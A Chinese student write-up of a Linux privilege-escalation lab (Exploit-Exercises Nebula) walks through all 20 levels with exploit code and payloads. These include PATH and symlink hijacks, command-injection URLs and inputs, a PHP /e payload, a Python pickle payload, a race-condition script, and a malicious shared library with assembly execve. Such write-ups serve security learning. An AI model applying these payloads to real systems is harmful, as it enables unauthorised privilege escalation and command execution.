免考final linux提權與滲透入門——Exploit-Exercise Nebula學習與實踐

免考final linux提權與滲透入門——Exploit-Exercise Nebula學習與實踐

0x0 前言

Exploit-Exercise是一系列學習linux下滲透的虛擬環境,官網是https://exploit-exercises.com/,經過它能夠學習提權,漏洞利用,逆向等知識php

咱們這裏嘗試的是Nebula,是一個涵蓋初級、中級挑戰任務的練習環境,一個有20個關卡。涉及到的知識點有:html

  • SUID文件(SUID files)
  • 權限(Permission)
  • 競態條件(Race conditions)
  • Shell編程(Shell)
  • $PATH缺陷($PATH weaknesses)
  • 腳本語言缺陷(Scripting language weakness)
  • 二進制編譯漏洞(Binary compilation failures)

網上有詳細的Nebula通關教程,我但願經過此次實驗,提高本身linux下滲透的本領,掌握一些linux本地和遠程攻擊的基本知識。python

0x1 通關流程

我參照網上給出的教程,來嘗試完成Nebula的20個關卡。有興趣的同窗能夠找我拷貝Nebula的鏡像。i春秋上也有Nebula的在線環境練習。linux

每個關卡level對應一個帳號:levelXX/levelXX(用戶名和口令是同樣的)好比第5關的帳號就是 level05/level05。登陸以後,進入/home/flagXX的目錄下,與該關卡有關的東西都在這裏。正則表達式

官網中的Nebula頁面中有每道題的程序源碼。算法

每一關提權成功以後,須要執行/bin/getflag/,若是提權是成功的,會提示「You have successfully executed getflag on a target account」,不然提示「getflag is executing on a non-flag accont, this doesn't count」shell

level00——找特權程序

本關卡須要找到一個以「flag00」帳號運行的可執行程序。關鍵是對find命令和uid知識的掌握。編程

咱們先看看flag00的UID是什麼,輸入cat /etc/passwd | grep flag00瀏覽器

00-1

flag00的UID和GID都是999。安全

接着經過find命令從根目錄開始查找,輸入find / -uid 999 2> /dev/null

(咱們把標準錯誤輸出扔到/dev/null黑洞裏去)

00-2

不管是/bin/.../flag00,仍是/rofs/bin/.../flag00都符合要求,任意執行一個便可。接着運行/bin/getflag成功通關。

00-3

level01——環境變量

本題開始,須要咱們對源碼進行分析了,官網提供的源代碼以下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

這就是咱們flag01程序的源代碼。這裏的system調用,執行了env程序。

env用來顯示環境變量,以及在定義的環境中執行程序。env須要根據環境變量PATH來查找程序的路徑。

即使是system中的參數是「硬編碼」的,咱們也有辦法執行任意文件。

01-1

咱們看到flag01程序的權限就是flag01,咱們的目標就是經過它來執行/bin/getflag

01-2

這一系列手段很是有參考意義。/tmp目錄對全部用戶都有完整的權限。

咱們首先在/tmp下創建一個指向/bin/getflag的軟連接echo,而後將/tmp目錄放到環境變量PATH的最前面。

這樣,env程序在查找echo的時候會首先找到/tmp下的「假裝」echo並執行。

經過這樣的手法,能夠執行其餘的可執行程序。

level02——執行任意文件

老樣子,從代碼中發現漏洞,本關卡的程序源碼以下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

asprintf是GNU擴展的C函數,它將格式化字符串放到buffer中。getenv函數獲取環境變量USER的值。

因爲環境變量USER是能夠本身設置的,咱們把USER設置爲;/bin/getflag

這樣,執行了echo命令後,就會執行/bing/getflag,達到level02的要求。

02-1

level03——計劃任務

這個關卡有一個計劃任務,每隔2分鐘執行/home/flag03目錄下的writable.sh。

咱們能夠看到writeable.sh的內容。

03-1

這個腳本會自動執行writable.d裏面的全部文件,接着有刪除這個腳本。

而計劃任務crontab是flag03用戶建立的,咱們能夠在writable.d中建立腳原本完成操做。

03-2

咱們在writable.d的目錄下建立一個run腳本。

/bin/getflag > /tmp/20155110wangyifan

這個腳本執行/bin/getflag,並把結果重定向到/tmp/20155110wangyifan文件中。

等待兩分鐘,咱們在/tmp目錄下發現20155110wangyifan這個文件。

03-3

也就是說crontable自動執行了/bin/getflag程序

level04——越權得到token

這個關卡須要咱們獲取token文本文件的內容。目前咱們的權限是讀取不了的。

04-1

除了root權限外,只要flag04用戶能夠對它進行讀寫操做。這裏有一個flag04程序,咱們須要利用這個程序的漏洞,來得到token。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

注意這段代碼:

if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);

flag04會把命令行參數做爲文件名並打開,可是文件名不能包含「token」字符串,不然會退出程序。

仍是祭出咱們的軟連接大法,迷惑flag04程序。

04-2

這就是flag04帳號的密碼,登陸flag04帳號執行getflag,完成這一關的任務

level05——ssh密鑰竊取

在這一關,咱們須要找到一個弱權限的目錄,而後經過它來提權。

咱們須要關注的是.backup和.ssh這兩個目錄。

05-1

.ssh目錄咱們進不去。只能先在.backup目錄裏面探索一下。

05-2

咱們把backup-19072011.tgz解壓到/tmp目錄下(由於權限不過沒法在當前目錄解壓)

05-3

原來是ssh的公鑰和私鑰!直接把它copy到/home/level05而後ssh登陸flag05的帳號就能完成此關卡了!

05-4

ssh登陸後執行getflag,完成這關。

05-5

level06——linux登陸密碼

在本關卡中,flag06帳號的認字憑證是存儲在/etc/passwd中的(固然如今的linux都把密碼放在/etc/shadow中,比/etc/passwd安全一些)

咱們先讀取flag06的密碼散列值

06-1

而後咱們就要祭出Kali,用john這個口令破解工具弄出flag06帳號的密碼

06-2

so easy!密碼就是hello,直接登陸flag06的帳號,能夠經過此關。

06-3

level07——Perl腳本漏洞

在這關中,咱們的攻擊對象是一個perl編寫的cgi程序。

訓練環境的IP配置爲192.168.56.102

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

配置文件thttpd.conf顯示開放的端口號是7007。

07-1

這段perl腳本的功能是調用外部的ping命令去ping指定的IP。接收的參數名爲"Host"

@output = `ping -c 3 $host 2>&1`;

這段代碼調用了外部命令,咱們能夠來一次 典型的命令注入

首先確認cgi程序的權限,在瀏覽器中輸入

192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami

07-2

咱們看到CGI程序就是以flag07的用戶權限運行的。

咱們直接運行目標程序getflag便可

192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag

07-3

咱們經過 命令注入成功通關。

level08——TCP數據包分析

這個關卡中咱們須要分析一個capture.pcap的數據包。

咱們把訓練環境的文件弄到本地來。而後用wireshark分析一下。

08-1

咱們使用wireshark的「分析——追蹤TCP流功能」

08-2

這是一個交互式登陸的抓包。咱們使用 Hex dump方式看password字段。

08-4

咱們對照ascii表,7F是del刪除,也就是說用戶輸入backdoor後,又刪除了三個字符,接着輸入00Rm8,又刪除了一個字符,最後輸入ate並敲下回車。

因此,最後的password就是backd00Rmate

08-3

咱們用這個password登錄flag08帳號,順利通關。

level09——攻擊php代碼

咱們在這一關卡須要攻擊一個有漏洞的php代碼。

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

這段代碼中的正則表達式會將[email xxx@xxx.xxx]中的「.」替換成「dot」,將「@」替換成「AT」,也就是變成xxx AT xxx dot xxx

咱們注意到這一句代碼:

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

preg_replace第一參數使用了/e模式,preg_replace的第二個參數會做爲代碼執行。

咱們將用php中的system函數執行外部的shell命令

將下面的內容寫到文件/tmp/wyf中去

[email "{${system(getflag)}}"]

09-1

接着執行flag09程序之後,getflag程序也被調用,咱們成功通關

level10——競態條件漏洞

在本關卡的/home/flag10目錄下有兩個文件:flag10和token。

官網提示,這裏是一個文件訪問的競態條件漏洞,去獲取token的內容。

咱們先看看完整的源代碼:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

注意access函數,當前用戶訪問某個文件時,返回值爲0,纔會有後面這一大段代碼。

if(access(argv[1], R_OK) == 0) {

        ....    

    } else {
        printf("You don't have access to %s\n", file);
    }

若是沒有訪問權限,就會輸出"You don't have access to <文件名> "

這段代碼會創建一個socket通信,並在18211端口上進行監聽,而後打開指定的文件並把內容發送到通信鏈接中。

咱們的思路是這樣的:

  1. 在本地用netcat監聽端口
  2. 讓flag10去access一個當前用戶有權限訪問的文件/tmp/fake_token
  3. 刪掉剛纔的/tmp/fake_token,再創建一個指向/home/flag10/token的軟連接

咱們先完成第一步,netcat監聽

10-1

而後再另外一個終端tty2下創建文件/tmp/fake_token

10-1-0

咱們再寫一個不斷創建軟連接的bash腳本

10-2

執行這個腳本,編寫下面的腳本。

10-3

接着運行腳本,咱們在看看nc收到的結果:

10-4

這就是flag10的登陸密碼,登陸flag10帳號後,執行getflag便可。

level11——任意文件可執行漏洞

在這一關卡,咱們須要攻擊一個flag11的可執行程序。它的源代碼以下:

官網說此關卡有兩種方法能夠經過

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

這段代碼比較長,咱們直接定位有問題的代碼段

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

這裏的buffer做爲system的參數,是可控制的,可是這裏的buffer的內容有點複雜,它在以前通過了「異或」加密。

很是簡單,咱們對要執行的命令在進行一次異或,就能夠還原了。

咱們的攻擊代碼以下:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    // 要執行的命令
    char *cmd = "getflag";
    char buf[1024];
    int key = length & 0xff;
    int i = 0;
    // 把「 getflag」 字符串拷貝到 buf 裏,其他空間空字節填充
    strncpy(buf,cmd,1024);
    for(; i<length; i++)
    {   
        buf[i] ^= key;
        // 必定要 buf[i]^key 纔可獲得正確的 key ,上面那句代碼纔可正確執行
        key = key - (buf[i] ^ key);
    }
    // 輸出至標準輸出
    puts("Content-Length: 1024");
    fwrite(buf,1,length,stdout);
    return 0;
}

注意代碼裏面還設置了環境變量TEMP

tmp = getenv("TEMP");

接着在系統中輸入以下命令

$ export TEMP=/tmp
$ gcc -o /tmp/attack /tmp/attack.c
$ cd /home/flag11
$ /tmp/attack | ./flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

咱們成功通關此關卡。

level12——攻擊Lua腳本

本關卡給出了一個lua寫的socket程序,雖然我不會lua語言,可是經過猜想仍是能看懂個大概的。

題目描述是一個監聽在50001端口的backdoor。

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

注意到這條語句

prog = io.popen("echo "..password.."| sha1sum", "r")

這個地方存在明顯的 命令注入

telnet 127.0.0.1 50001,構造payload

;/bin/getflag > /tmp/wyf5110

12-1

咱們成功執行了getflag程序,經過本關。

level13——簡單的調試

咱們在這一關須要破解下面的程序。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

也就是說若是UID不是1000的話,咱們得不到token的值。

如今,咱們直接使用gdb調試這個程序(固然你也能夠直接用IDA靜態反彙編)

13-1

找到getuid函數的位置之後,在下一條指令的地方設置斷點。而後運行。

函數的返回值在%eax寄存器中,咱們發現這個uid的值是1014。

13-2

咱們直接設置%eax寄存器的值爲1000便可。

13-3

咱們看到了token的值爲b705702b-76a8-42b0-8844-3adabbe5ac58

用它登陸flag13帳號,執行getflag程序經過此關。

13-4

level14——破解加密程序

在這關,token文件是被flag14程序加密過的,咱們須要解密token。

咱們看看這個程序是怎麼加密的。

14-1

顯然,這個加密算法很是簡單,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此類推。

咱們直接編寫解密程序便可。

//dec.c

#include <stdio.h>
#include <string.h>
int main()
{
    char buf[1000];
    scanf("%s", buf);
    
    int i;
    for (i = 0; i < strlen(buf); i++) {
        buf[i] -= i;
    }
    
    puts(buf);  
    return 0;
}

14-2

咱們成功獲得flag,而後用它登陸flag14帳號執行getflag便可。

14-3

level15——linx下共享庫劫持

官網直接給出提示,用strace工具追蹤so使用狀況。

15-1

提示沒有找到libc.so.6,既然沒有,咱們就本身寫一個讓它找到。

創建目錄/var/tmp/flag15,並編寫以下的代碼

#include <stdio.h>

void __attribute__((constructor)) init()
{
    system("/bin/getflag");
}

15-2

提示symbol __cxa_finalize,我再定義一個__cxa_finalize函數。

#include <stdio.h>

void __cxa_finalize(void)
{
    return;
}

void __attribute__((constructor)) init()
{
    system();
}

咱們還要用匯編語言本身實現一個system函數。

.section .text
.globl system
system:

mov $getflag, %ebx
xor %edx, %edx # 異或清空 edx ,做爲空參數
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 調用 execve 中斷
int $0x80

.section .data
getflag: .ascii "/bin/getflag\0"

最後,咱們成功劫持了共享庫的調用。

15-3

這一關的技術含量很是高,咱們目前尚未徹底理解

level16——再次攻擊perl語言CGI程序

在這一關中,咱們繼續攻擊一個perl語言的CGI程序

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

這段代碼的問題就在於它有調用了外部shell命令。

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

可是,這裏對用戶名作了限制,不只將其轉換爲大寫,並且去掉第一個空格以後的全部內容。

咱們先創建這樣一個腳本/tmp/wyf

16-1

構造payload爲

"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#

爲了方便,咱們直接寫一個表單提交數據。

16-2

咱們這是能夠看到,getflag程序已經執行了。

16-3

這又是一個繞過正則表達式的 命令注入

level17——python的pickle格式漏洞

咱們要分析一個在10007端口監聽的python腳本。

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

因爲我對python不熟悉,這一關的原理也沒弄明白。

這應該是一個反序列化的漏洞,先按照教程完成這一關卡吧。

構造下面的payload

cos
system
(S'getflag>/tmp/result'
tR.

17-1

level18——資源未釋放漏洞

這關很是特殊,有三種解決方法,最簡單的是耗盡系統資源。

固然也有格式化字符串漏洞,棧溢出漏洞。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

linux默認只能打開1024個文件描述符,可是stdin,stdout,stderr已經各佔用了一個。最終供程序使用的只有1021個。

咱們須要作的就是耗盡程序的資源,先輸入

for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;

將1021個login wyf5110放到/tmp/login中。

再執行

cat /tmp/login | /home/flag18/flag18 -d /tmp/debug

查看/tmp/debug的內容

18-1

根據輸出內容,咱們知道登陸成功了。應該能夠執行shell命令。

咱們追加一個shell,而後再執行flag18程序。

18-2

看到這個結果,是由於文件描述符用盡了。

咱們看源碼中的這一部分

} else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      }

也就是說添加closelog能夠釋放一個文件描述符。咱們再次修改/tmp/login

18-3

而後執行

cat login | /home/flag18/flag18 --init-file -d debug

可是出現了下面的問題。

18-4

咱們能夠這麼操做

18-5

既然找不到Starting命令,咱們就攻擊環境變量,將Starting指向惡意腳本

再次運行程序,查看/tmp/output文件,咱們能夠知道/bin/getflag已經被執行了

18-6

level19——突破進程

終於來到最後一關了,這一關要求咱們攻破下面的程序。

程序的源代碼以下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

這段程序的邏輯是這樣的:

  • 先經過getppid()函數獲得父進程pid號
  • 根據pid號找到/proc下當前pid號的目錄
  • 若是屬於root,就執行shell

咱們須要利用「孤兒進程」的特色來突破這段程序

孤兒進程的父進程init的uid絕對是0

編寫攻擊代碼以下

//attack.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
    pid_t pid;
    pid = fork();
    char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; 
    if(pid == 0) 
    {
        execve("/home/flag19/flag19",argvs,NULL);
    } else if(pid > 0) {
        exit(0);
    }
    return 0;
}

這段攻擊代碼,利用fork出來的子進程執行getflag程序,並將結果重定向到/tmp/flag19_output文件中。

19-1

至此,咱們成功通關nebula的所有20個關卡!

心得與體會

實話實說,exploit-exercise nebula的這20個練習讓我感覺到了本身 離技術的門檻還很遙遠

其中的一系列linux提權和任意文件執行的技巧令我印象深入——軟連接大法,python反序列化漏洞,CGI程序的命令注入,共享庫劫持,gdb調試……

不少練習以個人能力是不可能作出來的,在參考了網上的教程之後,我可以 大致感覺到其中的 美妙之處

以前的實驗,咱們只是淺嘗輒止地使用一些工具而已,咱們對工具的應用也是浮於表面的,儘管能熟練使用工具並玩到極致的話,也能夠弄出花樣來。

此次的final讓我完全明白,只有對計算機足夠精通,才能真正主宰一切,而這條道路對咱們來講很是漫長。

不過,可以在本學期的課程中對計算機安全技術初窺門徑,我已經很知足了。

相關文章
相關標籤/搜索